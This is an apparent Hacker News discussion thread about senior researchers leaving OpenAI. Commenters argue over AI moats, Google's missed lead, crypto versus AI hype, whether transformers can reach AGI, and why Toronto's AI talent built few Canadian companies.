Talking thinking machines will no doubt change everything. That people believe it is possible is probably the biggest driver. You get more people involved, more implementations, more experiments, more papers, improved hardware, more investments.
> The internet is what changed everything.
Broadband. Dial-up was still too much of an annoyance, too expensive.
Once broadband was ubiquitous in the US and Europe, that's when the real explosion of computer usage happened.
Honestly mobile totally outstrips this.
One day at work about 10-15 years ago I looked at my daily schedule and found that on that day my team were responsible for delivering a 128kb build of Tetris and a 4GB build of Real Racing.
I agree. Likewise, early AI models to GPT4 is breathtaking progress.
Regular people shrug and say, yeah sure, but what can I do with it. They still do this day.
It was only 11 years from pong to ping.
You and your family and friends were online in 1983? That’s quite remarkable.
No, but that’s when “ping” was written, which is what you said.
(And, irrelevant, but my parents were in fact both posting to Usenet in 1983.)
Kind of missing the forest for the trees, but TIL the actual application called ping was written in 1983.
mobile internet and smartphones were the real gamechanger here, which were definitely not linear.
They became viable in the 2000's, let's say 2007 with the iPhone, and by late 2010's everyone was living online, so "decades" is a stretch.
To make the 2000s possible, decades of relatively uninteresting progress was made. It quickly takes off from there.
I don't think it particularly matters right now (practically speaking). It's going to take years for businesses and product companies to commoditize applications of LLMs, so while it's valuable for the Ilyas & Andrejs of the world to continue the good work of hard research, it's the startups, hyperscalers and SaaS companies who are creating business applications for LLMs that going to be the near term focus.
In just a couple of generations each training cycle will cost close to $10 billion. That's a lot of cheddar that you have to show ROI on.
The majority of the developers may know what LLMs are in an abstract sense, but I meet very few that really realize what these are. These LLMs are an exponential leap in computational capability. The next revolution is going to be when people realize what we have already, because it is extremely clear the majority do not. RAG? Chatbots? Those applications are toys compared to what LLMS can do right now, yet everyone is dicking around making lusty chatbots or naked celebrities in private.
> The next revolution is going to be when people realize what we have already
Enlighten us
It is both subtle and obvious, yet many are missing this: if you want/need a deep subject matter expert in virtually any subject, write a narrative biography describing your expert using the same language that expert would use to describe themselves; this generates a context within the LLM carrying that subject matter expertise, and now significantly higher quality responses are generated. Duplicate this process for several instances of your LLM, creating a home brewed collection of experts, and have them collectively respond to one's prompts as a group privately, and then present their best solution. Now there is a method of generating higher reliability responses. Now turn to the fact that the LLMs are trained on an Internet corpus of data that contains the documentation and support forums for every major software application; using the building blocks described so far, it is not difficult at all to create agents that sit between the user and pretty much every popular software application and act as co-authors with the user helping them use that application.
I have integrated 6 independent, specialized "AI attorneys" into a project management system where they are collaborating with "AI web developers", "AI creative writers", "AI spreadsheet gurus", "AI negotiators", "AI financial analysts" and an "AI educational psychologist" that looks at the user, the nature and quality of their requests, and makes a determination of how much help the user really needs, modulating how much help the other agents provide.
I've got a separate implementation that is all home solar do-it-yourself, that can guide someone from nothing all the way to their own self made home solar setup.
Currently working on a new version that exposes my agent creation UI with a boatload of documentation, aimed at general consumers. If one can write well, as in write quality prose, that person can completely master using these LLMs to superior results.
>I have integrated 6 independent, specialized "AI attorneys" into a project management system where they are collaborating with "AI web developers", "AI creative writers", "AI spreadsheet gurus", "AI negotiators", "AI financial analysts" and an "AI educational psychologist" that looks at the user, the nature and quality of their requests, and makes a determination of how much help the user really needs, modulating how much help the other agents provide.
Ah yes, "it's so obvious no one sees it but me". Until you show people your work, and have real experts examining the results, I'm going to remain skeptical and assume you have LLMs talking nonsense to each each other.
The point is these characters are not doing the work for people, it co-authors the work with them. It's just like working with someone highly educated but with next to no experience - they're a great help, but ya gotta look at their work to verify they are on track. This is the same, but with a collection of inexperienced phds. The LLMs really are idiot savants, and when you treat them like that they respond with expectations better.
I'm at a law firm, this is in use with attorneys to great success. And no, none of them are so dumb they do not verify the LLM's outputs.
How can no one see what we have today? You only need six instances of an LLM running at the same time, with a system to coordinate between them, and then you have to verify the results manually anyway. Sign me up!
If a certain percent of the work is completed through research synthesis and multiple perspective alignment, why is said novel approach not worth lauding?
I've created a version of one of the resume GPTs that analyses my resume's fit to a position when fed the job description along with a lookup of said company. I then have a streamlined manner in which it points out what needs to be further highlighted or omitted in my resume. It then helps me craft a cover letter based on a template I put together. Should I stop using it just because I can't feed it 50 job roles and have it automatically select which ones to apply to and then create all necessary changes to documents and then apply?
epic… and not a single of these “experts” likely can solve even a basic goat problem https://x.com/svpino/status/1790624957380342151
but at some point, probably in the near future, they will. And then this system I have will already be in place, and that added capability will just arrive and integrate into all the LLM integrated systems I've made and they'll just improve.
[dead]
I agree with OP, I think we still have no idea yet what dreams may come of the LLM's we have today. So no one will be able to "enlighten us" — perhaps not until we're looking in the rear-view mirror.
I would say instead, stay tuned.
LLM is all you need
Attention and scale is all you need
Anything else you do will be overtaken by LLM when it builds its internal structures
Well, LLM and MCTS
The rest is old news. Like Cyc
There are no moats in deep learning, everything changes so fast.
They have the next iteration of GPT Sutskever helped to finalize. OpenAI lost it's future unless they find new same caliber people.
> They have the next iteration of GPT Sutskever helped to finalize
How do you know that they have the next GPT?
How do you know what Sutskever contributed? (There was talk that the most valuable contributions came from the less well known researchers not from him)
sha256:e33135417f7f5b8f4a1c98c28cf26330bea4cc6b120765f59f5d518ea0ce80e5
What should this mean?
Isn't access to massive datasets and computation the moat? If you and your very talented friends wanted to build something like GPT-4, could you?
It's going to get orders of magnitude less expensive, but for now, the capital requirements feel like a pretty deep moat.
How do you know massive datasets are required? Just because that’s how current LLMs operate, doesn’t mean it’s necessarily the only solution.
Then the resources needed to discover an alternative to brute-forcing a large model are a huge barrier.
I think academia and startups are currently better suited to optimize tinyml and edge ai hardware/compilers/frameworks etc.
I Don't know. Being able to get azure credits has payed out really well for openai as a business in constant need of computer.
Which is a very short term advantage. And Anthropic gets aws credits which would you rather have?
Never discount the value of short term advantages.
Being first at the start (i.e. first mover advantage) is huge.
Given Amazon's no show in the AI space? Azure. By a mile.
Except if you're Anthropic or OpenAI you don't care about what your compute provider has done in the AI space - you care about the compute power they can give you.
That's exactly what I'm talking about: https://i.imgur.com/sZ3tniY.jpeg
But how many of those are ordered specifically for OpenAI, and are on order as a result of them to begin with? Do you think if we were in a parallel universe where OpenAI ended up partnering with Google or Amazon instead, the GPU shipments would look the same? I think they would reflect wherever OpenAI ended up doing all their compute showing a pretty similar lion's share.
Your claim was that people should care about compute based on what the provider has done in the AI space, but Microsoft was pretty far behind on that side until OpenAI - Google was really the only player in town. Should they have wanted GCP credits instead? Do you care about their AI results or the ex post facto GPU shipments?
Or, if what you actually want to argue is that Anthropic would be able to get more GPUs with Azure than AWS or GCP then this is a different argument which is going to require different evidence than raw GPU shipments.
The claim being implied was that Anthropic was in a better position because they had partnered with AWS versus Azure and thus they would have more access to GPU.
That isn't the case, at all. All I'm stating is what the chart clearly shows - Azure has invested deeply in this technology and at a rate that far exceeds AWS.
They seem to have a huge "money moat" now. Partnerships with Apple and MS mean they have a LOT of money to try a lot of things I guess.
Before the Apple partnership, maybe it seemed like the moat was shrinking, but I'm tno sure now.
Likely they have access to a LOT of data now too.
OpenAI most definitely needs the compute from MSFT. It could certainly swap out to another service but given that microsoft invested via credits it would be problematic. They have enmeshed their future.
How important are top science guys though? OpenAI has a thousand employees and almost unlimited money, and llm are better understood, I would guess continous development will beat singular genius heroes?
> OpenAI has a thousand employees and almost unlimited money
You could say the same about Google - and yet they missed the consequences of their own discovery and got behind instead of being leaders. So you need specific talent to pull this off even if in theory you can hire anybody.
I am just curious how it happened to Google? Like who were the product managers or others who didn't see an opportunity here exactly where the whole thing was invented and they had huge amounts of data already, whole web basically and the amount of video that no one else can ever hope to have?
I’m 100% positive lots of people at Google were chomping at the bit to productize LLMs early on.
But the reality is, LLMs are a cannibalization threat to Search. And the Search Monopoly is the core money making engine of the entire company.
Classic innovators dilemma. No fat-and-happy corporate executive would ever say yes to putting lots of resources behind something risky that might also kill the golden goose.
The only time that happens at a big established company, is when driven by some iconoclastic founder. And Google’s founders have been MIA for over a decade.
Golden goose is already being hoisted upon a spit — and your company is not even going to get even drippings of the fat. I am surprised by the short-sightedness of execs.
I don’t work there, I’ve just worked for lots of big orgs — they are all the same. Any claimed uniqueness in “Organizational structure” and “culture” are just window dressing around good ol’ human nature.
It’s not short sightedness, it’s rational self-interest. The rewards for taking risk as employee #20,768 in a large company are minimal, whereas the downside can be catastrophic for your career & personal life.
I think the discovery of the power of the LLM was almost stumbled upon at OpenAI, they certainly didn't set out initially with the goal of creating them. Afaik they had one guy who was doing a project of creating an LLM with amazon review text data and only off the back of playing around with that did they realise its potential
Data volume isn't that important, that's becoming clearer now. What OpenAI did was paid for a bunch of good labelled data. I'm convinced that's basically the differentiator. It's not a academic or fundamental thing to do which is why google didn't do it, it's a pure practical product thing.
Well for one, Ilya was poached from Google to work for OpenAI to eventually help build SOTA models.
Fast forward to today and we a discussing the implications of him leaving OpenAI on this very thread.
Evidence to support the notion that you can’t just throw mountains of cash and engineers at a problem to do something truly trailblazing.
A lot of it was the unwillingness to take risk. LLMs were, and still are, hard to control, in terms of making sure they give correct and reliable answers, making sure they don't say inappropriate things that hurt your brand. When you're the stable leader you don't want to tank your reputation, which makes LLMs difficult to put out there. It's almost good for Google that OpenAI broke this ground for them and made people accepting of this imperfect technology.
It's hard to invest millions in employees who are likely to leave to a competitor later. That's very risky, aka venture.
So the alternative is to...?
Difficult to quantify but as an example the 2017 scientific paper “Attention is all you need” changed the entire AI field dramatically. Without these landmark achievements delivered by highly skilled scientists, OpenAI wouldn’t exist or only be severely limited.
And ironically even the authors did not fully grasp at the time the paper importance. Reminds me of when Larry Page and Sergey Brin, tried to sell Google for $1 million ...
It depends on your views on LLMs
If your view is that LLMs only need minor improvements to their core technology and that the major engineering focus should be placed on productizing them, then losing a bunch of scientists might not be seen as that big of a deal.
But if your view is that they still need to overcome significant milestones to really unlock their value... then this is a pretty big loss.
I suppose there's a third view, which is: LLMs still need to overcome significant hurdles, but solutions to those hurdles are a decade or more away. So it's best to productize now, establish some positive cashflow and then re-engage with R&D when it becomes cheaper in the future and/or just wait for other people to solve the hard problems.
I would guess the dominant view of the industry right now is #1 or #3.
They definitely need them to find new approaches which you won’t find normally.
Talk to Microsoft
Most of every large business isn't science but getting organized, costs controlled, products made, risk managed, and so forth.
OpenAI has less than 800 employees
Agreed - it's good to have some far thinking innovation but really that can be acquired as needed so you really just need a few people with their pulse on innovation which there will always be more of outside a given company than within it.
Right now it's all about reducing transaction costs, small-i innovating, onboarding integrations, maintaining customer and stakeholder trust, getting content, managing stakeholders, and selling.
What an absurd thing to say.
John Schulman is still at OpenAI. As are many others.
Jakub Pachocki is taking over as chief scientist. https://analyticsindiamag.com/meet-jakub-pachocki-openais-ne...
> Open AI is run by marketing, business, software and productization people.
AKA 'the four horsemen of enshitification'.
> They make lots of money
Will they though? Last I heard OpenAI isn't profitable, and I don't know if it's safe to assume they every will be.
People keep saying that LLMs are an existential threat to search, but I'm not so sure. I did a quick search (didn't verify in any way if this is a feasible number) to find that Google on average makes about 30 cents in revenue per query. They make a good profit on that because processing the query costs them almost nothing.
But if processing a query takes multiple seconds on a high-end GPU, is that still a profitable model? How can they increase revenue per query? A subscription model can do that, but I'd argue that a paywalled service immediately means they're not a threat to traditional ad-supported search engines.
I honestly think that is the best course of actions for humanity. Even less chance to see AGI anytime soon if he leaves.
"Productization". You mean "enshitification".
Depends on who is controlling product.
> When the next wave of new deep learning innovations sweeps the world,
that won't happen, the next scam will be different
it was crypto until FTX collapsed then the usual suspects led by a16z leaned on OpenAI to rush whatever they had on market hence the odd naming of ChatGPT 3.5.
When the hype is finally realized to be just mass printing bullshit -- relevant bullshit, yes, which sometimes can be useful but not billions of dollars of useful -- there will be something else.
Same old, same old. The only difference is there is no new catchy tunes. Yet? https://youtu.be/I6IQ_FOCE6I https://locusmag.com/2023/12/commentary-cory-doctorow-what-k...
Crypto currencies has the potential to grow the world economy by about 1-3%, as banking fees go down. Add other uses of crypto may double or triple that, but that's really speculative.
AI, on the other hand, has a near infinite potential. It's conceivable that it will grow the global economy by 2% OR MORE per MONTH for decades or more.
AI is going to be much more impactful than the internet. Probably more than internal combustion, the steam engine and electricity combined.
The question is about the timescale. It could take 2 years before it really starts to generate profits, or it could take 10 or even more.
>Crypto currencies has the potential to grow the world economy by about 1-3%, as banking fees go down.
Bank fees don't disappear into the ether when they're collected, so I doubt they have this much affect.
Oh, made my very first retail purchase with Bitcoin the other day. While the process was pretty slick and easy, the network charged $15.00 in fees. Long way to go until "free".
> Bank fees don't disappear into the ether when they're collected, so I doubt they have this much affect.
1-3% was intended as a ceiling for what cryptocurrency could bring to the economy, after adjusting for the reduction in inflation once those costs are gone.
He's saying the fees aren't burned like with mining, so they don't hurt the economy by the amount of the fee: the profit portion of them goes into other investments. The fees hinder parts of the economy making some transactions nonviable, but they don't fully translate to "friction" making waste heat so much as something more adiabatic that goes back in. It's largely an extraneous spring in the system, not a damper.
That's why I stated that 1-3% was the ceiling
I agree with you on the AI point, but with crypto not all is what it seems.
Yes you may have short term growth, this is solely due to there being less regulation.
Despite what many people think regulation is a good thing, put in place to avoid the excesses that lead to lost livelihoods. It stops whales from exploiting the poor, provides tools for central banks to try avoid depressions.
Costs wise, banks acting as trust authorities actually can theoretically be cheaper too.
Well, I agree with all that. The 1-3% was meant to come off as a tiny, one-time gain, and an optimistic estimate of that. Not at all worth the hype.
Basically, crypto is more like gold rush than a tech breakthrough. And gold rushes rarely lead to much more than increased inflation.
Absolutely
Do you have a source for any of these numbers or is this just your speculation? I haven’t seen any estimates from well-known institutions that reference any of the numbers your are pointing to.
All crypto"currencies" with a transaction fee are negative sum games and as such , they are a scam. It's been nine years since the Washington Post admittedly somewhat clumsily but still drawn attention to this and people still insist it's something other than a scam. Despite heady articles about how it's going to solve world hunger, it's just a scam.
This round of AI is only capable of producing bullshit. Relevant bullshit but bullshit. This can be useful https://hachyderm.io/@inthehands/112006855076082650 but it doesn't mean it's more impactful than the Internet.
I agree, 1-3% was a best case. While I agree it's a net zero, even those who argue for it really don't claim much more than a couple of %.
I actually expected objections on the opposite direction. But then, this is not twitter/X.
The point is that something that can easily generate 20%-100% growth per year (AGI/ASI) is so much more important that the best case prediction for crypto's effect on the economy are not even noticeable.
That's why comparing the crypto bubble to AI is so meaningless. Crypto was NEVER* going to be something hugely important, while AI is potentially almost limitless.
*If crypto had anything to offer at all, it would be ways to avoid fees, taxes and the ability to trace transactions.
The thing is, if crypto at any point seriously threatens to replace traditional currencies as stores of value in the US or EU, it will be banned instantly. Simply because it would make it impossible for governments to run budget deficits, prevent tax evasion and sever other things that governments care about.
LLM is not AGI and there's no way to AGI from LLM. Put down the kool-aid.
I never claimed llm's are agi. Not all neural nets are llm's.
AI? Yes.
LLMs pretending to be AI? No.
What you call "AI" is generally named AGI. LLM's are alredy a kind of AI, not just generic enough to fully replace all humans.
We don't know if full AGI can be built using just current technology (like transformers) given enough scale, or if 1 or more fundamental breakthroughs are needed beyond just the scale.
My hypothesis has always been that AGI will arrive roughly when the compute power and model size matches the human brain. That means models of about 100 trillion params, which is not that far away now.
> We don't know if full AGI can be built using just current technology (like transformers) given enough scale,
We absolutely do and the answer is such a resounding no it's not even funny.
Actually, we really don't. When GPT-3.5 was released, it was a massive surprise to many, exactly because they didn't believe simply scaling up transformers wouldn't end up with something like that.
Now using transformers doesn't mean they have to be assembled like LLM's. There are other ways to stich them together to solve a lot of other problems.
We may very well have the basic types of lego pieces needed to build AGI. We won't know until we try to build all the brain's capacities into a model of size of a few 100 trillion parameters.
And if we actually lack some types of pieces, they may even be available by then.
Karpathy is still a mountain in the area of ML/AI, one of the few people worth following closely on Twitter/X.
I don’t think people give Dario enough credit
Yeah, I think him leaving was a huge blow to OpenAI that they have maybe not yet recovered from. Clearly there is no moat to transformer-based LLM development (other than money), but in terms of pace of development (insight as to what is important) I think Anthropic have the edge, although Reka are also storming ahead at impressive pace.
I love Karpathy. He's like a classical polymath, a scholar and a teacher.
Jakub Pachocki is still in OpenAI though
Greg Brockman is a very good engineer. And that's maybe even more important in the current situation.
Jan Leike has said he's leaving too https://twitter.com/janleike/status/1790603862132596961
The scenario I have in my head is that they had to override the safety team's objections to ship their new models before Google IO happened.
The "safety" team can go eat grass.
I don't believe in AI "safety measures" any more than I do in kitchen cleaver safety measures.
That is, nothing beyond "keep out of kids' reach" and "don't use it like an idiot" but let the cleaver be a damn cleaver.
> That is, nothing beyond "keep out of kids' reach" and "don't use it like an idiot" but let the cleaver be a damn cleaver.
Neither of which will be enforced with AI
Exactly, just like I can't "enforce" another person to not be an idiot about anything.
A cleaver isn't going to try to kill you without someone holding it....
I genuinely don't get your point, you mean as opposed to an LLM ... ?
There goes the so called superalignment:
Ilya
Jan Leike
William Saunders
Leopold Aschenbrenner
All gone
Resignations lead to more resignations....unless mgmt. can get on top of it and remedy it quickly, which rarely happens. I've seen it happen way too many times working 25 years in tech.
This might not be bad from the perspective of the remaining employees, it might be that the annoying people are leaving the room.
Or that just the aggressive snakes are left.
I have no idea I’m saying I’ve seen that happen in companies.
In my experience, good ones leave first, followed by those who enjoyed working with them and or ones who are not longer able to get work done.
You need to think about OpenAI specifically - Ilya basically attempted a coup last year and failed, stayed in the company for months afterwards, according to rumours had limited contributions to the breakthroughs in research and was assigned to lead the most wishy-washy project of superalignment.
I’m not seeing “the good ones” leaving in this case.
So Satya Nadella paid $13 billion to have....Sam Altman :-))
Perhaps Altman will fail upwards once again to become CEO of Microsoft
Are you suggesting that the OAI investment was not a good investment for MS?
Have they earned a return on it yet?
Seriously asking; I've purchased a GitHub CoPilot license subscription but I don't know what their sales numbers are doing on AI in general. It's to be seen if it can be made more cost-efficient to deliver to consumers.
Checking MSFT price, seems like the market thinks they made the right move and the shareholders are for sure seeing a return.
The market thinks Tesla is worth more than all other automakers combined, that GameStop is a reasonable investment, and laying off engineers is great!
Until it one day it doesn’t. It’s very fickle.
But the market is always right.
Because Tesla is. Unlike the traditional automakers that have no room of growth and in a perpetual stagnation, Tesla has potential being a partially automative and partially tech industry. They can even have their own mobile phones if they want to. Or robots and stuff.
What Mercedes, Porsche, Audi can do aside continue to produce the cars over and over again until they are overtaken by somebody else? Hell, both EU and USA need tariffs to compete with chinese automakers.
Not quite. Tesla has a high valuation mostly because traditional auto carries an enormous amount of debt on their balance sheets. I think Tesla is one economic downturn in a high interest rate environment from meeting the same fate. Once an auto company is loaded with debt, they get stuck in a low margin cycle where the little profit they make has to go into new debt for retooling and factories. Tesla is very much still coasting from zero interest rate free VC money times.
Increased price of a company is indeed the expectation of future profits, but until those profits hit the balance sheet they are unrealized
What % of stock movements do you attribute to OAI, vs the cash-generation behemoth that is Windows/Office/Azure?
Nah, they paid for the brand.
And, you know, a company with $2B of revenue
That for sure loses money on every prompt...
I guess if they really thought we had something to worry about, they would've stayed just to steer things in the right direction.
Doesn't seem like they felt it was required.
Edit: I'd love to know why the down votes, it's an opinion, not a political statement. This community is quite off lately.
Is this a highly controversial statement ? People are truly worried about the future and this is just an anxiety based reaction ?
Doesn't the whole Altman sacking thing show that they had no power to do any steering, and in fact Altman steers?
Daniel “Quit OpenAI due to losing confidence that it would behave responsibly around the time of AGI”
“I think AGI will probably be here by 2029, and could indeed arrive this year”
Kokotajlo too.
We are so fucked
I am sorry, there must be some hidden tech, some completely different attempt to speak about AGI.
I really, really doubt that transformers will become AGI. Maybe I am wrong, I am no expert in this field, but I would love to understand the reasoning behind this "could arrive this year", because it reminds me about coldfusion :X
edit: maybe the term has changed again. AGI to me means truly understanding, maybe even some kind of consciousness, but not just probability... when I explain something, I have understood it. It's not that I have soaked up so many books that I can just use a probabilistic function to "guess" which word should come next.
Don't worry, these are the "keeping the bridge intact" speak of people leaving a glorious or so workplace. I have worked at several places, and when people left(usually most well paid ones), they post linkedin/twitter posts to say kudos and inspire that, the corresponding business will be in forefront of the particular niche this year or soon and they would like to be proud of ever being part of it.
Also, when they speak about AGI, it raises their(person leaving) marketing value as someone else already know they are brilliant to have worked at something cool and they might also know some secret sauce, which could be acquired at lower cost by hiring them immediately[1]. I have seen these kinds of speak play out too many times. Last January, one of the senior engineers from my current work place in aviation left citing about something super secret coming this year or soon, and they immediately got hired by a competitor with generous pay to work on that said topic.
> Also, when they speak about AGI, it raises their(person leaving) marketing value
Why yes, of course Jan Leike just impromptu resigned and Daniel Kokotajlo just gave up 85% of his wealth in order not to sign a resignation NDA to do what you're describing...
While he'll be giving up a lot of wealth, it's unlikely that any meaningful NDA will be applied here. Maybe for products, but definitely not for their research.
There's very few people who can lead in frontier AI research domains - maybe a few dozen worldwide - and there are many active research niches. Applying an NDA to a very senior researcher would be such a massive net-negative for the industry, that it'd be a net-negative for the applying organisation too.
I could see some kind of product-based NDA, like "don't discuss the target release dates for the new models", but "stop working on your field of research" isn't going to happen.
Kokotajlo: “To clarify: I did sign something when I joined the company, so I'm still not completely free to speak (still under confidentiality obligations). But I didn't take on any additional obligations when I left.
Unclear how to value the equity I gave up, but it probably would have been about 85% of my family's net worth at least.
Basically I wanted to retain my ability to criticize the company in the future.“
> but "stop working on your field of research" isn't going to happen.
We’re talking about NDA, obviously no-competes aren’t legal in CA
https://www.lesswrong.com/posts/kovCotfpTFWFXaxwi/?commentId...
> Unclear how to value the equity I gave up, but it probably would have been about 85% of my family's net worth at least.
Percentages are nice, but with money and wealth absolute numbers are already important enough. You can leave a very, very good life even if you are losing 85% if the remaining 15% is USD $1M. And if not signing that NDA will help you landing another richly paying job + freedom to say whatever you feel it's important saying.
> truly understanding… when I explain something, I have understood it
When you have that feeling of understanding, it is important to recognize that it is a feeling.
We hope it’s correlated with some kind of ability to reason, but at the end of the day, you can have the ability to reason about things without realising it, and you can feel that you understand something and be wrong.
It’s not clear to me why this feeling would be necessary for superhuman-level general performance. Nor is it clear to me that a feeling of understanding isn’t what being an excellent token predictor feels like from the inside.
If it walks and talks like an AGI, at some point, don’t we have to concede it may be an AGI?
Would say understanding usually means ability to connect the dots and see the implications … not feeling.
Okay, what if I put it like this: there is understanding (ability to reason about things), and there is knowing that you understand something.
In people, these are correlated, but one does not necessitate the other.
No I’m with you on this. Next token prediction does lead to impressive emergent phenomena. But what makes people people is an internal drive to attend to our needs, and an LLM exists without that.
A real AGI should be something you can drop in to a humanoid robot and it would basically live as an individual, learning from every moment and every day, growing and changing with time.
LLMs can’t even count the number of letters in a sentence.
>LLMs can’t even count the number of letters in a sentence.
It's a consequence of tokenization. They "see" the world through tokens, and tokenization rules depend on the specific middleware you're using. It's like making someone blind and then claiming they are not intelligent because they can't tell red from green. That's just how they perceive the world and tells nothing about intelligence.
But it limits them, they cannot be AGI then, because a child that can count could do it :)
You seem generally intelligent. Can you tell how many letters are in the following sentence?
"هذا دليل سريع على أنه حتى البشر الأذكياء لا يمكنهم قراءة ”الرموز“ أو ”الحروف“ من لغة لم يتعلموها."
I counted very quickly but 78? I learned arabic in kindergarten, im not sure what your point was. There are arabic spelling bees and an alphabet song just like english
The comment you replied to was saying LLMs trained on english cant count letters in english
LLMs aren't trained in English with the same granularity that you and I are.
So my analogy here stands : OP was trained in "reading human language" with Roman letters as the basis of his understanding, and it would be a significant challenge (fairly unrelated to intelligence level) for OP to be able to parse an Arabic sentence of the same meaning.
Or:
You learned Arabic, great (it's the next language I want to learn so I'm envious!). But from the LLM point of view, should you be considered intelligent if you can count Arabic letters but not Arabic tokens in that sentence?
Is this even a fair comparison ? Are we asking a LLM to count letters in an alphabet it never saw ?
Yes, it sees tokens. Asking it to count letters is a little bit like asking that of someone who never learned to read/write and only learned language through speech.
From that AGI definition, AGI is probably quite possible and reachable - but also something pointless which there are no good reasons to "use", and many good reasons not to.
LLMs could count the number of letters in a sentence if you stopped tokenizing them first.
tokenization is not the issue - these LLMs can all break a word into letters if you ask them.
This paper and other similar works changed my opinion on that quite a bit. It shows that to perform text prediction, LLMs build complex internal models.
https://news.ycombinator.com/item?id=38893456
> maybe the term has changed again. AGI to me means truly understanding, maybe even some kind of consciousness, but not just probability... when I explain something, I have understood it.
The term, and indeed each initial, means different things to different people.
To me, even InstructGPT manages to be a "general" AI, so it counts as AGI — much to the confusion and upset of many like you who think the term requires consciousness, and others who want it to be superhuman in quality.
I would also absolutely agree LLMs are not at all human-like. I don't know if they do or don't need the various missing parts in order to be in order to change the world into a jobless (u/dis)topia.
I also don't have any reason to be for or against any claim about consciousness, given that word also has a broad range of definitions to choose between.
I expect at least one more breakthrough architecture on the scale of Transformers before we get all the missing bits from human cognition, even without "consciousness".
What do you mean by "truly understanding"?
> when I explain something, I have understood it.
Yeah, that's the part I don't understand though - do I understand it? Or do I just think I understand it. How do I know that I am not probabilistic also?
Synthesis is the only thing that comes to mind as a differentiator between me and an LLM.
I think what's missing:
- A possibility to fact-check the text, for example by the Wolfram math engine or by giving internet access
- Something like an instinct to fight for life (seems dangerous)
- some more subsystems: let's have a look a the brain: there's the amygdala, the cerebellum, the hippocampus, and so on, and there must be some evolutionary need for these parts
AGI can’t be defined as autocomplete with fact checker and instinct to survive, there’s so so so much more hidden in that “subsystems point”. At least if we go by Bostroms definition…
As something of a (biased) expert: yes, it’s a big deal, and yes, this seemingly dumb breakthrough was the last missing piece. It takes a few dozen hours of philosophy to show why your brain is also composed of recursive structures of probabilistic machines, so forget that, it’s not neccesary, instead, take a glance at these two links:
1. Alan Turing on why we should never ever perform a Turing test: https://redirect.cs.umbc.edu/courses/471/papers/turing.pdf
2. Marvin Minsky on the “Frame Problem” that lead to one or two previous AI winters, and what an Intuitive algorithm might look like: https://ojs.aaai.org/aimagazine/index.php/aimagazine/article...
> Alan Turing on why we should never ever perform a Turing test
Can you cite specifically what in the paper you're basing that on? I skimmed it as well as the Wikipedia summary but I didn't see anywhere that Turing said that the imitation game should not be played.
Sorry I missed this, for posterity:
I was definitely being a bit facetious for emphasis, but he says a few times that the original question — “Can machines think?” - is meaningless, and the imitation game question is solved in its very posing. As a computer scientist he was of course worried about theoretical limits, and he intended the game in that vein. In that context he sees the answer as trivial: yes, a good enough computer will be able to mimic human behavior.
The essay’s structure is as follows:
1. Propose theoretical question about computer behavior.
2. Describe computers as formal automata.
3. Assert that automata are obviously general enough to satisfy the theoretical question — with good enough programming and enough power.
4. Dismiss objections, of which “humans might be telepathic” was somewhat absurdly the only one left standing.
It’s not a very clearly organized paper IMO, and the fun description of the game leads people to think he’s proposing that. That’s just the premise, and the pressing conclusion he derives from it is simple: spending energy on this question is meaningless, because it’s either intractable or solved depending on your approach (logical and empirical, respectively).
TL;DR: the whole essay revolves around this quote, judge for yourself:
Relying on specific people was never a good strategy, people will change but this will be a good test of their crazy governance structure. I think of it similar to political systems - if it can't withstand someone fully malicious getting in power then it's not a good system
Same applies to Sam Altman as well? Thing felt like a cult when he was forced out and everyone threatened to resign.
The guy with the "Bad universal priors and notions of optimality", which did to Hutter's MIRI program what Gödel did to Hilbert's program.
Any chance you can eli5? I'm familiar with the Godel/Hilbert side but not the relationship to these developments.
Oops, I thought there was something odd, I got my rationality acronyms mixed up. Hutter's program was called AIXI (MIRI was the research lab).
Here is Leike's paper, coauthored with Hutter:
https://arxiv.org/abs/1510.04931
They can probably sum it up in their own paper better than I can, but AIXI was supposed to be a formalized, objective model of rationality. They knew from the start that it was uncomputable, but I think they hoped to use it as a sort of gold standard that you could approach.
But then it turned out that the choice of Turing machine, which can be (mostly) ignored for Kolmogorov complexity, can not be ignored in AIXI at all.
When walking around the U of Toronto, I often think that ~10 years ago Ilya was in a lab next to Alex trying to figure things out. I can't believe this new AI wave started there. Ilya, Karpathy, Jimmy Ba, and many more were at the right time when Hinton was there too.
Oh man that was an amazing time at UoT. We also got GPU versions of btc mining from that group.
We also had Ethereum be born right around there as well around 2014. I remember the first Ethereum meetups around Queen and Spadina with Vitalik.
But to another posters point. Even though we had the father of deep learning Geoffrey Hinton and lumiaries like Ilya, and Vitalik, we didn't manage to get any real benefit from that.
Wow! By the time I arrived, Hinton was gone. As well as many great professors that started their own companies or were poached by big players (i.e. Sanja-Nvidia). At least I got to learn NN from Jimmy Ba (author of Adam). Now, he's working at xAI.
And none of them build AI companies in Toronto.
I’m Canadian and disappointed at how ineffective we are at building successful companies.
I've thought about this one for a long time having lived in both SV and Canada. It is a complicated one but there are a handful of critical road blocks in Canada that make it more challenging.
(1) Access to size of market even if online being US vs 'foreign' has advantages in political arena/regulatory benefits
(2) Significant tax advantages for US investors vs limited tax advantages for Canada (Angel+VC)
(3) Risk Appetite (impacted by size of market) - compounded by tax disadvantages (why would you take risk if your lining the pockets of the government?)
(4) Bench depth on talent once you really start to scale your company
(5) CAD strength (double edged sword) - talent goes South for better salaries (+ you need to compete), if the company revenue is in USD and employees are paid in CAD
(6) Start-ups paying in equity, early employees taking on that risk actually will get taxed heavily under new cap gains so the incentive to work hard for money is lower.
(7) Network effects of being in the valley - idea percolation, new playbooks, talent, competitiveness, company fitness
I will add that in this very specific AI case there is limited way you are going to find the depth of talent and capital in the country to make that company fly at the scale it needs to be.
if the idea that high taxes disincentivizes people from building stuff, california would be a wasteland.
but that's not what we see. people build because they still have a chance a making a lot of money.
also, like canada can build successfully tech companies. yes, I realize there should be more canadian tech darlings, but I don't think it has to do with high taxes so much as it has to do with Canadians being comfortable and not feeling the need to sacrifice everything to try and build the biggest thing.
If you look at Canada's most successful tech companies, the founders usually sell and enjoy a more comfortable existence.
You misunderstand my statement on tax.
Taxs on investors are quite high in Ontario/Canada compared to California. Not only does this minimize the outcome for the investor - it decreases the risk for making larger bets on big outcomes. In terms of exits -- you have a smaller playing field and fewer buyers being based in Canada vs USA. All the things add up to make a smaller opportunity for investors and builders and you work harder to pay more taxes to the government.
In terms for your ambition argument -- that could be an inherent problem in Canadian culture that no one wants to change the status quo - it is definitely a different culture than SV. The largest city is captured by financial industry for the most part which doesn't bode well for innovation.
